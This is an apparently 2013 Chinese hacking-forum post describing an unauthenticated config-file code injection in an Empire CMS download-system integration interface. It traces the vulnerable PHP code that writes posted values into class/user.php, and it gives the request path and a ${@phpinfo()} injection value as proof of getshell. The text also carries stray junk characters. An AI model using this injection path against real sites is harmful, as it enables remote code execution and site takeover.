找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2362|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
5 Z+ B5 G. V( O2 u0 f' v, J+ c& p: B" @  H" [! w

$ n4 ^0 R1 Y) u. F
这是帝国的一套下载系统 如图
" z/ u% i' F' A5 l) x9 v' F: lps(不需要任何账户和密码,直接写shell)

$ b- Y1 d4 s( |% y& A

由于很多站是由于下载要整合discuz 等等一些论坛....3 @/ B4 I1 P3 k4 s% ^( N4 X

, o* t& _2 Y$ y2 y/ Y, I3 e

而帝国他又有一个万能接口,如图


$ p6 {; ]9 t5 Y& \- V* z+ `* p( |! ~

7 x3 G( J  z0 e% P0 ^; \  R

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码7 z9 F$ v7 l: j# X7 S# V6 k: o

* U7 C  ], k: z' [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
1 y0 j' ^6 t( O7 f, C7 p* y4 e; c4 k8 {( i5 z( F
在data/fun.php中的15行
3 g+ x* x, L- E& ?' Q5 f/ Z0 V& v% C
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
0 a% o- a# Q% g6 }0 R# L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
' }) ^6 u# W; C7 h: h; f5 s& N+ r6 v: Q: D3 g4 R
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
3 q# |! S* ~" U+ K/ ?* R" e2 E! m1 n5 X: b1 F* [/ e2 N' \, }4 N
他将传进来的变量进行了切割,然后赋给了$filetext
6 T: C6 I$ C+ o. }4 n, S0 ]0 i" |: P: e: `, \* B
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了, p0 z' S6 x" U; ?. N" \' q

! C3 u5 O  c0 L4 g- @$ E' J0 T5 Y我们看看写入的结果,随便填一个

! ~& S8 V6 R/ I$ r# G  e
! z7 G5 m% Z" M2 L: y
) F( l) ?$ S+ C( q. b! p' m5 |0 r. p
; c& h4 a& E# y$ r/ Y
+ z; ^7 Q* K( C  f% U+ ?/ W; M8 r
0 ]4 S1 M( \( ~( a2 T
( H9 g+ i; y0 S. `" Z$ d9 ?: [& Y' k
/ W0 J; N4 M$ h& e

9 b0 J+ |: l1 K! P3 `
2 A, p) @! c1 ], ?; B1 _0 W

/ U( L9 O% F: @& B, ]
5 W1 ]+ M7 k5 y, R' r: g( w8 v" ]6 q$ {
9 F8 e- U( X; Z" J" I
9 L  w& `8 W/ L0 Z" i3 v
1 i- H; p3 y; Y) m9 A
3 c0 J9 J' R: y; f' d7 |

1 F7 y& N( R2 G1 e5 p; ^6 G! |3 u8 E/ F3 ]0 Z" ~

% [4 `; W/ Y0 H1 J9 z$ h
: e6 p( |& n- v" w' N) d; E& Z

9 {- b; U# X2 e3 p  c( b, Z

所以我们淫荡点,写个${@phpinfo()}试试


! b7 O' {+ Y( D. d% E

然后访问以下class/user.php这个文件
! L/ [- r( Q6 x  g- a$ o日了吧

+ ^/ ~# n' J- }" z
$ J3 B& y0 m8 ^3 X! E
( x, ~' z$ @) M1 B
: m9 Y$ x' u# D3 B( D
5 H% M* \4 C' H$ t5 B

; ?2 B! k. e" {6 C/ q& H1 t, Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表